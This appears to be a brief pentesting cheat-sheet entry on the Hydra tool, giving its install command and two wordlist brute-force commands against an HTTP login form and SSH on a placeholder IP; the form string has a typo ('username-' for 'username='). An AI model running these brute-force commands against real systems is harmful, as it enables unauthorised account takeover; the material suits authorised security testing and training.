Hydra

Nice tool for logon brute force attacks. Can bf a number of services including SSH, FTP, TELNET, HTTP etc.

Install:

sudo apt install hydra

Usage:

hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error"
hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh